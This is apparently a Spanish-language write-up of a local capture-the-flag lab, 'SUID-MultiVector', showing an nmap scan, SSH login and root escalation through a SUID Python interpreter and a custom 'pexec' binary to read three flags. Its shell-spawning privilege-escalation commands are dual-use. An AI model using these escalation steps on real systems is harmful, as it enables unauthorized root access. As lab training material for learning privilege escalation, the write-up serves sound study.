Laboratorio SUID Multivector

```
rezca samlab en tu comando y si eso podría ser un riesgo de

Bienvenido a WHOAMI-LABS.COM. Laboratorio: SUID-MultiVector.
Aprende, simula, escala. Sin burocracia.

[v] Imagen cargada correctamente.
[*] Iniciando laboratorio ...
[v] Laboratorio iniciado correctamente.

[v] Laboratorio desplegado correctamente.

IP del laboratorio: 172.17.0.2
Usuario: hacker
Contraseña: suid2025
Comando de conexión: ssh hacker@172.17.0.2

Objetivo: Encuentra y explota múltiples vectores SUID para obtener 3 flags
Tip: Lee GUIA.txt para entender los conceptos y técnicas

Presiona Ctrl+C cuando quieras detener el laboratorio.
```

Escaneamos con nmap

```
┌──(samlab㉿Pentest)-[~/Escritorio/Laboratorios SUID/suid multivector]
└─$ nmap -p- -sV -sC -sS -Pn --min-rate=5000 172.17.0.2 | tee nmap_scan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 10:51 -0500
Nmap scan report for 172.17.0.2
Host is up (0.000020s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0
)
| ssh-hostkey:
|   256 bf:3d:c4:b7:1e:9f:5a:dc:74:9b:b2:73:07:da:00:ad (ECDSA)
|_  256 5e:7e:17:cd:6d:1f:ff:20:7f:cc:69:45:18:d7:97:1b (ED25519)
MAC Address: 1A:0F:6C:65:88:22 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.
org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.06 seconds

┌──(samlab㉿Pentest)-[~/Escritorio/Laboratorios SUID/suid multivector]
└─$
```

Nos conectamos por ssh
Eliminamos la llave antigua

ssh-keygen -f "/home/samlab/.ssh/known_hosts" -R "172.17.0.2"

```
┌──(samlab㉿Pentest)-[~/Escritorio/Laboratorios SUID/suid multivector]
└─$ ssh-keygen -f "/home/samlab/.ssh/known_hosts" -R "172.17.0.2"
# Host 172.17.0.2 found: line 1
# Host 172.17.0.2 found: line 2
# Host 172.17.0.2 found: line 3
/home/samlab/.ssh/known_hosts updated.
Original contents retained as /home/samlab/.ssh/known_hosts.old
```

Nos

Conectamos remotamente por ssh

sudo hacker@172.17.0.2

```
 ___ _ _ ___ ___   __ __ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
/ __| | | |_ _|   \ ___|  v  |_  _| | |_(_) \ / /__ __| |_ ___ _ _
\__ \ |_| || || |) |___| |\/| | || | |  _| |\ v / -_) _|  _/ _ \ '_|
|___/\___/|___|___/    |_|  |_|\_,_|\___|_| \_/\___\__|\__\___/_|

 ═══════════════════════════════════════════════
   Laboratorio: SUID - Múltiples Vectores
   Objetivo: Encuentra y explota 3 flags
   Usuario: hacker | Password: suid2025
 ═══════════════════════════════════════════════

hacker@517a550d8f99:~$
```

Buscar binarios SUID
find / -perm -4000 -type f -ls 2>/dev/null

```
hacker@517a550d8f99:~$ find / -perm -4000 -type f -ls 2>/dev/null
  3023771     36 -rwsr-xr--   1 root     messagebus    35112 Oct 25  2022 /usr/li
b/dbus-1.0/dbus-daemon-launch-helper
  3023998    332 -rwsr-xr-x   1 root     root         338536 Apr 11  2025 /usr/li
b/openssh/ssh-keysign
  3038300   5796 -rwsr-xr-x   1 root     root        5933576 Dec 13 05:14 /usr/lo
cal/bin/python3_suid
  3038284     16 -rwsr-xr-x   1 root     root          16272 Dec 13 05:14 /usr/lo
cal/bin/pexec
  2889190     48 -rwsr-xr-x   1 root     root          47488 Apr  9  2024 /usr/bi
n/mount
  2889257     60 -rwsr-xr-x   1 root     root          59976 Feb  6  2024 /usr/bi
n/passwd
  2889242     40 -rwsr-xr-x   1 root     root          40496 Feb  6  2024 /usr/bi
n/newgrp
  2889024     44 -rwsr-xr-x   1 root     root          44808 Feb  6  2024 /usr/bi
n/chsh
  2889385     56 -rwsr-xr-x   1 root     root          55680 Apr  9  2024 /usr/bi
n/su
  2889015     72 -rwsr-xr-x   1 root     root          72712 Feb  6  2024 /usr/bi
n/chfn
  2889097     72 -rwsr-xr-x   1 root     root          72072 Feb  6  2024 /usr/bi
n/gpasswd
  2889413     36 -rwsr-xr-x   1 root     root          35200 Apr  9  2024 /usr/bi
n/umount
  3021082    228 -rwsr-xr-x   1 root     root         232416 Jun 25  2025 /usr/bi
n/sudo
```

Encontramos el primer binario SUID

3038300 5796 -rwsr-xr-x 1 root root 5933576 Dec 13 05:14 /usr/local/bin/python3_suid

python3_suid -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Ejecutamos un id para saber
$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

```
$ python3_suid -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# ls
GUIA.txt
# whoami
root
```

Encontramos el primer flag.

cat flag1.txt

FLAG{SU1D_PYTH0N_3XPL01T_M4ST3R}

```
# cat flag1.txt
FLAG{SU1D_PYTH0N_3XPL01T_M4ST3R}
# exit
```

Procedemos con la búsqueda de otro binario SUID (pexec) ejecutando nuevamente el comando

find / -perm -4000 -type f -ls 2>/dev/null

```
hacker@43ed24b6a61c:~$ find / -perm -4000 -type f -ls 2>/dev/null
  2922972     36 -rwsr-xr--   1 root     messagebus    35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  2923199    332 -rwsr-xr-x   1 root     root         338536 Apr 11  2025 /usr/lib/openssh/ssh-keysign
  3030027   5796 -rwsr-xr-x   1 root     root        5933576 Dec 13 05:14 /usr/local/bin/python3_suid
  3030011     16 -rwsr-xr-x   1 root     root          16272 Dec 13 05:14 /usr/local/bin/pexec
```

Procedemos con el binario pexec, este tipo de binario son ejecutados con privilegios del propietario del archivo (generalmente root), esto permite ser explotado usando un escaldo de privilegios.

FLAG{P3X3C_B1N4RY_PWN3D_2025}

```
hacker@43ed24b6a61c:~$ pexec /bin/sh -p
[*] Ejecutando: /bin/sh -p
# whoami
root
# cd /root
# ls
flag1.txt  flag2.txt  flag_final.txt
# cat flag2.txt
FLAG{P3X3C_B1N4RY_PWN3D_2025}
#
```

Al contar con privilegios de root mediante la explotación del mismo vector SUID, obtenemos la ultima flag (flag_final.txt)

```
# cat flag_final.txt
FLAG{M4ST3R_0F_SU1D_PR1V3SC_C0MPL3T3}
#
```

FLAG{M4ST3R_0F_SU1D_PR1V3SC_C0MPL3T3}